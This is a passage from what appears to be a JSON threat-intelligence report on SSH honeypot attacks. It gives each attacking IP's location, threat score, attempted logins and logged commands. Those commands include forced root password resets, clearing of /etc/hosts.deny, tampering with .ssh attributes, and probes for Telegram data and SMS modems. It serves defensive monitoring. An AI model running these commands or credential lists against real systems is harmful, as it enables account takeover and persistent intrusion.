        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"mailuser1234\\nUyPbcP7fQvJN\\nUyPbcP7fQvJN\\n\"|passwd",
        "echo \"root:xDURwP6HzQMC\"|chpasswd|bash",
        "echo -e \"mailuser1234\\nUyPbcP7fQvJN\\nUyPbcP7fQvJN\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Fujairah",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T20:03:07.455000+00:00",
        "last_seen_30d": "2026-03-21T20:26:50.329000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 32
      }
    },
    "77.228.146.66": {
      "attack_count": 144,
      "first_seen": "2026-03-18T09:26:07.591Z",
      "last_seen": "2026-03-18T09:55:18.349Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "ferry",
        "345gs5662d34",
        "anon",
        "ariel",
        "chase",
        "cheng",
        "claudio",
        "cpd",
        "dsadm",
        "firefart",
        "flw",
        "laura",
        "marc",
        "redis",
        "root",
        "test01"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "1234",
        "123456",
        "123qweasd",
        "3245gs5662d34",
        "345gs5662d34",
        "Test01123",
        "ariel@123",
        "chase123",
        "chengpassword",
        "cpdcpd",
        "dsadm@123",
        "ferrypassword",
        "firefartpass",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ferrypassword\\nuwIIigtzDnVI\\nuwIIigtzDnVI\\n\"|passwd",
        "echo -e \"ferrypassword\\nuwIIigtzDnVI\\nuwIIigtzDnVI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 12430,
      "as_org": "Vodafone Spain",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T09:26:07.591000+00:00",
        "last_seen_30d": "2026-03-18T09:56:25.176000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "190.92.200.126": {
      "attack_count": 128,
      "first_seen": "2026-03-02T22:57:28.036Z",
      "last_seen": "2026-03-02T23:33:29.425Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613",
        "123!@#QWEqwe",
        "123asd",
        "3245gs5662d34",
        "345gs5662d34",
        "Cc123456.",
        "Qwerty123!",
        "Rd123456",
        "Wj123456",
        "abc@2025",
        "lt",
        "q1w2e3r4t5y6u7",
        "root@@@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ReoLecFHa257\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T22:57:28.036000+00:00",
        "last_seen_30d": "2026-03-02T23:34:30.109000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 35
      }
    },
    "103.174.188.142": {
      "attack_count": 123,
      "first_seen": "2026-03-04T22:17:35.620Z",
      "last_seen": "2026-03-04T22:47:31.952Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456789z",
        "2wsx3edc$RFV",
        "3245gs5662d34",
        "345gs5662d34",
        "ABCabc123",
        "Aa147258...",
        "Abc12345678",
        "Bingo@1993",
        "Jr12345678",
        "Password_123",
        "Ubuntu123",
        "sj123456",
        "ubuntu@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:sf5Bx61gylUe\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 147307,
      "as_org": "Mars Computer Net",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:17:35.620000+00:00",
        "last_seen_30d": "2026-03-04T22:48:35.563000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "193.111.234.222": {
      "attack_count": 119,
      "first_seen": "2026-03-08T00:14:49.342Z",
      "last_seen": "2026-03-08T00:38:37.475Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "laurent",
        "root",
        "345gs5662d34",
        "db2inst",
        "n",
        "nikola",
        "otrs",
        "viewtinet",
        "vpnuser",
        "vyos"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "1q2w3e4r5t6y7u",
        "3245gs5662d34",
        "345gs5662d34",
        "Nikola123!",
        "db2inst123!",
        "otrs123",
        "passWORD123",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\ntc0Ir0SljAeK\\ntc0Ir0SljAeK\\n\"|passwd",
        "echo -e \"123456\\ntc0Ir0SljAeK\\ntc0Ir0SljAeK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 43754,
      "as_org": "Asiatech Data Transmission company",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T00:14:49.342000+00:00",
        "last_seen_30d": "2026-03-08T00:39:42.910000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "61.28.144.154": {
      "attack_count": 119,
      "first_seen": "2026-03-07T08:08:00.461Z",
      "last_seen": "2026-03-07T08:33:43.877Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "wiki",
        "345gs5662d34",
        "Test",
        "abc",
        "aroot",
        "ceo",
        "cvs",
        "github",
        "kjh",
        "root",
        "saad"
      ],
      "passwords_attempted": [
        "12345678",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Github123",
        "Huawei@123",
        "Test123",
        "abc1234",
        "aroot123!",
        "saad",
        "wiki123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"wiki123\\nzUDmZWsJVh6T\\nzUDmZWsJVh6T\\n\"|passwd",
        "echo -e \"wiki123\\nzUDmZWsJVh6T\\nzUDmZWsJVh6T\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Makati City",
      "asn": 9658,
      "as_org": "Eastern Telecoms Phils., Inc.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T08:08:00.461000+00:00",
        "last_seen_30d": "2026-03-07T08:34:48.219000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "223.123.38.35": {
      "attack_count": 114,
      "first_seen": "2026-03-02T14:16:39.124Z",
      "last_seen": "2026-03-21T02:00:00.512Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 16.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 20,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T14:16:39.124000+00:00",
        "last_seen_30d": "2026-03-21T02:01:01.576000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 74,
        "Honeytrap": 13
      }
    },
    "157.245.138.89": {
      "attack_count": 100,
      "first_seen": "2026-03-10T21:28:32.669Z",
      "last_seen": "2026-03-10T21:49:50.224Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "admin",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root",
        "root123",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T21:28:32.669000+00:00",
        "last_seen_30d": "2026-03-10T21:50:50.890000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 44
      }
    },
    "159.223.211.238": {
      "attack_count": 80,
      "first_seen": "2026-03-12T20:56:45.177Z",
      "last_seen": "2026-03-12T21:26:50.933Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "sol",
        "ubuntu",
        "ethereum",
        "solv"
      ],
      "passwords_attempted": [
        "123456",
        "solana",
        "1",
        "12345678",
        "1234567890",
        "123@",
        "Sol",
        "Solana",
        "ethereum",
        "qwer1234",
        "sol",
        "solv",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T20:55:25.010000+00:00",
        "last_seen_30d": "2026-03-12T21:27:53.659000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 39
      }
    },
    "192.210.239.187": {
      "attack_count": 57,
      "first_seen": "2026-03-03T15:44:30.375Z",
      "last_seen": "2026-03-03T16:22:58.236Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "Aa123456~",
        "P@ssw0rd@2023",
        "R00t@123",
        "Temp123456",
        "Xx123456",
        "Yu123456",
        "qwe!@#QWE123",
        "voyage"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Elk Grove Village",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T15:44:30.375000+00:00",
        "last_seen_30d": "2026-03-03T16:24:06.297000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 57,
        "Suricata": 27
      }
    },
    "139.135.45.207": {
      "attack_count": 52,
      "first_seen": "2026-03-06T00:10:51.707Z",
      "last_seen": "2026-03-07T07:34:34.105Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:10:51.707000+00:00",
        "last_seen_30d": "2026-03-07T07:35:34.807000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 28
      }
    },
    "137.59.230.222": {
      "attack_count": 50,
      "first_seen": "2026-03-18T08:51:49.004Z",
      "last_seen": "2026-03-18T08:57:15.710Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T08:51:49.004000+00:00",
        "last_seen_30d": "2026-03-18T08:58:21.603000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "110.39.233.226": {
      "attack_count": 48,
      "first_seen": "2026-03-23T18:11:55.410Z",
      "last_seen": "2026-03-23T18:17:06.840Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T18:11:55.410000+00:00",
        "last_seen_30d": "2026-03-23T18:18:17.110000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "66.29.128.133": {
      "attack_count": 45,
      "first_seen": "2026-03-03T19:45:59.181Z",
      "last_seen": "2026-03-03T20:05:03.461Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "qwerty",
        "root",
        "root1",
        "root12",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22612,
      "as_org": "Namecheap, Inc.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T19:45:59.181000+00:00",
        "last_seen_30d": "2026-03-07T23:19:42.390000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 21
      }
    },
    "81.183.192.244": {
      "attack_count": 37,
      "first_seen": "2026-03-07T00:23:29.891Z",
      "last_seen": "2026-03-07T00:24:48.419Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": "Budapest",
      "asn": 5483,
      "as_org": "Magyar Telekom Plc.",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:23:29.891000+00:00",
        "last_seen_30d": "2026-03-07T00:25:55.555000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 4
      }
    },
    "34.53.164.131": {
      "attack_count": 31,
      "first_seen": "2026-03-10T09:23:22.656Z",
      "last_seen": "2026-03-10T09:23:41.126Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T09:23:22.656000+00:00",
        "last_seen_30d": "2026-03-10T09:24:48.669000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 31,
        "Suricata": 19
      }
    },
    "206.135.171.230": {
      "attack_count": 26,
      "first_seen": "2026-03-10T19:14:11.380Z",
      "last_seen": "2026-03-10T19:16:59.589Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T19:14:11.380000+00:00",
        "last_seen_30d": "2026-03-10T19:18:08.164000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "195.18.18.242": {
      "attack_count": 24,
      "first_seen": "2026-03-27T23:10:18.072Z",
      "last_seen": "2026-03-27T23:14:40.788Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Simferopol",
      "asn": 48004,
      "as_org": "PE Tsibrankov Konstantin Igorevich",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T23:10:18.072000+00:00",
        "last_seen_30d": "2026-03-27T23:24:49.627000+00:00",
        "days_since_last_seen": 4
      },
